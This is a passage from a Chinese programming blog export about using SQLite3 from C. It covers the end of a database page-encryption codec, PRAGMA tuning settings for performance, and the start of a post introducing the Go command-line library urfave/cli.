用新密钥重写所有的页到数据库。\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     Pgno nPage = sqlite3PagerPagecount(p);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     Pgno nSkip = PAGER_MJ_PGNO(p);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pPage;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     Pgno n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(n = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; rc == SQLITE_OK \u0026amp;\u0026amp; n \u0026lt;= nPage; n ++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n == nSkip) \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          rc = sqlite3PagerGet(p, n, \u0026amp;pPage);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(!rc)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e               rc = sqlite3PagerWrite(pPage);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e               sqlite3PagerUnref(pPage);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 如果成功,提交事务。\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!rc)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     rc = sqlite3BtreeCommit(pbt);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 如果失败,回滚。\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (rc)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     sqlite3BtreeRollback(pbt);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 如果成功,销毁先前的读密钥。并使读密钥等于当前的写密钥。\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!rc)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (pBlock-\u0026gt;ReadKey)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          sqliteFree(pBlock-\u0026gt;ReadKey);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock-\u0026gt;ReadKey = pBlock-\u0026gt;WriteKey;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"comment\"\u003e// 如果失败,销毁当前的写密钥,并恢复为当前的读密钥。\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (pBlock-\u0026gt;WriteKey)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          sqliteFree(pBlock-\u0026gt;WriteKey);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock-\u0026gt;WriteKey = pBlock-\u0026gt;ReadKey;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 如果读密钥和写密钥皆为空,就不需要再对页进行编解码。\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 销毁加密块并移除页的编解码器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pBlock-\u0026gt;ReadKey \u0026amp;\u0026amp; !pBlock-\u0026gt;WriteKey)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     sqlite3pager_set_codec(p, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     DestroyCryptBlock(pBlock);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e rc;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e下面是加密函数的主体\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e __stdcall \u003cspan class=\"title function_\"\u003esqlite3_key_interop\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKeySize)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e sqlite3CodecAttach(db, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, pKey, nKeySize);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 释放与一个页相关的加密块\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3pager_free_codecarg\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pArg)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (pArg)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     DestroyCryptBlock((LPCryptBlock)pArg);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e \u003cspan class=\"comment\"\u003e//#ifdef SQLITE_HAS_CODEC\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"五、性能优化\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80SQLite3%E4%BD%BF%E7%94%A8%E6%80%BB%E7%BB%93/#%E4%BA%94%E3%80%81%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96\" class=\"headerlink\" title=\"五、性能优化\"\u003e\u003c/a\u003e五、性能优化\u003c/h2\u003e\u003cp\u003e很多人直接就使用了,并未注意到SQLite也有配置参数,可以对性能进行调整。有时候,产生的结果会有很大影响。\u003c/p\u003e\u003cp\u003e主要通过pragma指令来实现。\u003c/p\u003e\u003cp\u003e比如: 空间释放、磁盘同步、Cache大小等。\u003c/p\u003e\u003cp\u003e不要打开。前文提高了,Vacuum的效率非常低!\u003c/p\u003e\u003cp\u003e1 auto_vacuum\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ePRAGMA auto_vacuum;  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA auto_vacuum = \u003cspan class=\"number\"\u003e0\u003c/span\u003e | \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e查询或设置数据库的auto-vacuum标记。\u003c/p\u003e\u003cp\u003e正常情况下,当提交一个从数据库中删除数据的事务时,数据库文件不改变大小。未使用的文件页被标记并在以后的添加操作中再次使用。这种情况下使用VACUUM命令释放删除得到的空间。\u003c/p\u003e\u003cp\u003e当开启auto-vacuum,当提交一个从数据库中删除数据的事务时,数据库文件自动收缩, (VACUUM命令在auto-vacuum开启的数据库中不起作用)。数据库会在内部存储一些信息以便支持这一功能,这使得数据库文件比不开启该选项时稍微大一些。\u003c/p\u003e\u003cp\u003e只有在数据库中未建任何表时才能改变auto-vacuum标记。试图在已有表的情况下修改不会导致报错。\u003c/p\u003e\u003cp\u003e2 cache_size\u003c/p\u003e\u003cp\u003e建议改为8000\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ePRAGMA cache_size;  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA cache_size = Number-of-pages;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e查询或修改SQLite一次存储在内存中的数据库文件页数。每页使用约1.5K内存,缺省的缓存大小是2000. 若需要使用改变大量多行的UPDATE或DELETE命令,并且不介意SQLite使用更多的内存的话,可以增大缓存以提高性能。\u003c/p\u003e\u003cp\u003e当使用cache_size pragma改变缓存大小时,改变仅对当前对话有效,当数据库关闭重新打开时缓存大小恢复到缺省大小。 要想永久改变缓存大小,使用\u003ca href=\"http://www.jimmydong.com/blog/\"\u003edefault_cache_size\u003c/a\u003e pragma.\u003c/p\u003e\u003cp\u003e3 case_sensitive_like\u003c/p\u003e\u003cp\u003e打开。不然搜索中文字串会出错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ePRAGMA case_sensitive_like;  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA case_sensitive_like = \u003cspan class=\"number\"\u003e0\u003c/span\u003e | \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eLIKE运算符的缺省行为是忽略latin1字符的大小写。因此在缺省情况下’a’ LIKE ‘A’的值为真。可以通过打开case_sensitive_like pragma来改变这一缺省行为。当启用case_sensitive_like,’a’ LIKE ‘A’为假而 ‘a’ LIKE ‘a’依然为真。\u003c/p\u003e\u003cp\u003e4 count_changes\u003c/p\u003e\u003cp\u003e打开。便于调试\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ePRAGMA count_changes;  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA count_changes = \u003cspan class=\"number\"\u003e0\u003c/span\u003e | \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e查询或更改count-changes标记。正常情况下INSERT, UPDATE和DELETE语句不返回数据。 当开启count-changes,以上语句返回一行含一个整数值的数据——该语句插入,修改或删除的行数。 返回的行数不包括由触发器产生的插入,修改或删除等改变的行数。\u003c/p\u003e\u003cp\u003e5 page_size\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ePRAGMA page_size;  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA page_size = bytes;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e查询或设置page-size值。只有在未创建数据库时才能设置page-size。页面大小必须是2的整数倍且大于等于512小于等于8192。 上限可以通过在编译时修改宏定义SQLITE_MAX_PAGE_SIZE的值来改变。上限的上限是32768.\u003c/p\u003e\u003cp\u003e6 synchronous\u003c/p\u003e\u003cp\u003e如果有定期备份的机制,而且少量数据丢失可接受,用OFF\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ePRAGMA synchronous;  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA synchronous = FULL; (\u003cspan class=\"number\"\u003e2\u003c/span\u003e)  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA synchronous = NORMAL; (\u003cspan class=\"number\"\u003e1\u003c/span\u003e)  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA synchronous = OFF; (\u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e查询或更改”synchronous”标记的设定。第一种形式(查询)返回整数值。 当synchronous设置为FULL (2), SQLite数据库引擎在紧急时刻会暂停以确定数据已经写入磁盘。 这使系统崩溃或电源出问题时能确保数据库在重起后不会损坏。FULL synchronous很安全但很慢。 当synchronous设置为NORMAL, SQLite数据库引擎在大部分紧急时刻会暂停,但不像FULL模式下那么频繁。 NORMAL模式下有很小的几率(但不是不存在)发生电源故障导致数据库损坏的情况。但实际上,在这种情况下很可能你的硬盘已经不能使用,或者发生了其他的不可恢复的硬件错误。 设置为synchronous OFF (0)时,SQLite在传递数据给系统以后直接继续而不暂停。若运行SQLite的应用程序崩溃, 数据不会损伤,但在系统崩溃或写入数据时意外断电的情况下数据库可能会损坏。另一方面,在synchronous OFF时 一些操作可能会快50倍甚至更多。\u003c/p\u003e\u003cp\u003e在SQLite 2中,缺省值为NORMAL.而在3中修改为FULL.\u003c/p\u003e\u003cp\u003e7 temp_store\u003c/p\u003e\u003cp\u003e使用2,内存模式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ePRAGMA temp_store;  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA temp_store = DEFAULT; (\u003cspan class=\"number\"\u003e0\u003c/span\u003e)  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA temp_store = FILE; (\u003cspan class=\"number\"\u003e1\u003c/span\u003e)  \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePRAGMA temp_store = MEMORY; (\u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e查询或更改”temp_store”参数的设置。当temp_store设置为DEFAULT (0),使用编译时的C预处理宏 TEMP_STORE来定义储存临时表和临时索引的位置。当设置为MEMORY (2)临时表和索引存放于内存中。 当设置为FILE (1)则存放于文件中。temp_store_directorypragma 可用于指定存放该文件的目录。当改变temp_store设置,所有已存在的临时表,索引,触发器及视图将被立即删除。\u003c/p\u003e\u003cp\u003e经测试,在类BBS应用上,通过以上调整,效率可以提高2倍以上。\u003c/p\u003e\u003ch2 id=\"六、后记\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80SQLite3%E4%BD%BF%E7%94%A8%E6%80%BB%E7%BB%93/#%E5%85%AD%E3%80%81%E5%90%8E%E8%AE%B0\" class=\"headerlink\" title=\"六、后记\"\u003e\u003c/a\u003e六、后记\u003c/h2\u003e\u003cp\u003e\u003cstrong\u003e(原文后记)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e写此教程,可不是一个累字能解释。\u003c/p\u003e\u003cp\u003e但是我还是觉得欣慰的,因为我很久以前就想写 sqlite 的教程,一来自己备忘,二而已造福大众,大家不用再走弯路。\u003c/p\u003e\u003cp\u003e本人第一次写教程,不足的地方请大家指出。\u003c/p\u003e\u003cp\u003e本文可随意转载、修改、引用。但无论是转载、修改、引用,都请附带我的名字:董淳光。以示对我劳动的肯定。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80SQLite3%E4%BD%BF%E7%94%A8%E6%80%BB%E7%BB%93/"},{"title":"Go语言命令行库urfave-cli简介","time":"2022-11-22T11:44:01Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e很多用Go写的命令行程序都用了urfave/cli这个库,包括geth,有必要简单了解一下。\u003c/p\u003e\u003cp\u003e用C写过命令行程序的人应该都不陌生,我们需要根据argc/argv一个个地解析命令行参数,调用不同的函数,最后还要写一个usage()函数用于打印帮助信息。urfave/cli把这个过程做了一下封装,抽象出flag/command/subcommand这些模块,用户只需要提供一些模块的配置,参数的解析和关联在库内部完成,帮助信息也可以自动生成。\u003c/p\u003e\u003cp\u003e举个例子,我们想要实现下面这个命令行程序:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd 